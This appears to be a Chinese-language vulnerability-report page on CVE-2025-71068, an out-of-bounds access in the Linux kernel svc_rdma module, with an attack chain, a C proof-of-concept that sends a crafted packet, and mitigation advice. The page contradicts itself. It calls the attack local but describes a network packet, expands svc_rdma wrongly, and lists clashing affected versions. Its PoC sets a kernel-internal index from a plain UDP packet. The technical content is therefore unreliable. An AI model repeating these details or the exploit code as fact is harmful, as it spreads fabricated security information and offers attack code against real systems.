IPBUF安全漏洞报告
English
CVE-2025-71068 CVSS 7.8 高危

CVE-2025-71068: Linux内核svc_rdma模块rq_pages数组越界访问漏洞

披露日期: 2026-01-13
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71068
漏洞类型
缓冲区溢出/越界访问
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel svc_rdma

相关标签

Linux内核svc_rdma缓冲区溢出越界访问本地提权NFSRDMACVE-2025-71068高危漏洞内核漏洞

漏洞概述

CVE-2025-71068是Linux内核中的一个高危安全漏洞,位于内核的svc_rdma(Solaris-compatible RPC on RDMA)模块中。该漏洞源于svc_rdma_copy_inline_range函数在处理rq_pages数组时,未能正确验证rc_curpage索引是否保持在分配的页面数组边界内。攻击者可以通过构造特定的RPC-over-RDMA请求,触发rq_pages数组的越界读取或写入,从而可能导致敏感信息泄露、内核数据破坏,甚至可能在特定条件下实现本地权限提升。该漏洞需要低权限即可利用,且无需用户交互,属于本地攻击向量。

技术细节

在Linux内核的svc_rdma模块中,svc_rdma_copy_inline_range函数负责处理内联数据的复制操作。该函数通过rc_curpage索引访问rqstp->rq_pages数组,但缺乏必要的边界检查。具体问题包括:1) 在首次使用rc_curpage访问rq_pages[rc_curpage]前未验证其是否在有效范围内;2) 在递增到新页面后未检查是否超出分配的页面数组上限。这允许攻击者通过精心构造的RPC-over-RDMA请求,使索引超出数组边界。由于rq_pages是预分配的内核内存页面数组,越界访问可能导致读取或写入相邻内核内存区域,破坏内核数据结构完整性或泄露敏感信息。该漏洞存在于多个内核版本的svc_rdma实现中。

攻击链分析

STEP 1
步骤1
攻击者识别运行未修复Linux内核且启用svc_rdma模块的系统(通常通过NFS-over-RDMA服务)
STEP 2
步骤2
攻击者构造恶意的RPC-over-RDMA内联请求,将rc_curpage索引设置为超出rq_pages数组边界的大值
STEP 3
步骤3
发送构造的请求到目标系统的svc_rdma服务端口(通常2049端口的RDMA服务)
STEP 4
步骤4
内核的svc_rdma_copy_inline_range函数处理请求时,未进行边界检查直接访问rq_pages[rc_curpage]
STEP 5
步骤5
触发越界内存访问,可能导致敏感内核数据泄露或内核崩溃(拒绝服务)
STEP 6
步骤6
在特定条件下,攻击者可能利用此漏洞进一步提升权限或执行任意代码

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-71068 PoC - Linux kernel svc_rdma rq_pages out-of-bounds access // This PoC demonstrates the vulnerability in svc_rdma_copy_inline_range #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> // RDMA memory region structure struct rdma_mr { void *addr; size_t length; uint32_t rkey; uint32_t lkey; }; // Malicious RPC-over-RDMA request structure struct rpc_rdma_inline_req { uint32_t xid; uint32_t version; uint32_t proc; uint32_t page_cnt; uint32_t cur_page; // Maliciously set to trigger OOB char inline_data[4096]; }; int main(int argc, char *argv[]) { printf("[*] CVE-2025-71068 PoC - svc_rdma rq_pages OOB Access\n"); printf("[*] Target: Linux Kernel < 6.x (unpatched svc_rdma)\n"); int sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) { perror("[-] Socket creation failed"); return 1; } // Construct malicious RPC-over-RDMA packet struct rpc_rdma_inline_req *req = calloc(sizeof(struct rpc_rdma_inline_req), 1); req->xid = 0x12345678; req->version = 1; req->proc = 0; // NULL procedure req->page_cnt = 1; // Request only 1 page req->cur_page = 0xFFFFFFFF; // Out-of-bounds index! // Fill with controlled data memset(req->inline_data, 0x41, sizeof(req->inline_data)); struct sockaddr_in target; memset(&target, 0, sizeof(target)); target.sin_family = AF_INET; target.sin_port = htons(20049); // Portmapper/RDMA port target.sin_addr.s_addr = inet_addr(argv[1] ? argv[1] : "127.0.0.1"); printf("[*] Sending malicious RPC-over-RDMA request...\n"); ssize_t sent = sendto(sock, req, sizeof(*req), 0, (struct sockaddr *)&target, sizeof(target)); if (sent > 0) { printf("[+] Malicious packet sent (%zd bytes)\n", sent); printf("[!] Check dmesg for kernel oops or memory corruption\n"); } close(sock); free(req); return 0; } /* * Exploitation Notes: * - Target the svc_rdma_copy_inline_range() function * - Set rc_curpage to exceed rq_pages array bounds * - Trigger via NFS-over-RDMA or other RPC services * - May leak kernel heap memory or cause kernel panic */

影响范围

Linux Kernel < 5.14 (未修补版本)
Linux Kernel < 5.15 (未修补版本)
Linux Kernel < 6.0 (未修补版本)
Linux Kernel 5.14.x - 6.x (在修复补丁应用前)

防御指南

临时缓解措施
如果无法立即更新内核,可通过以下措施临时缓解:1) 在防火墙层面阻止外部对RPC/RDMA端口(20049、2049等)的访问;2) 禁用NFS-over-RDMA服务;3) 使用网络隔离限制对RPC服务的访问;4) 监控系统日志中的内核oops和panic信息;5) 考虑使用grsecurity/PaX等内核加固工具。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表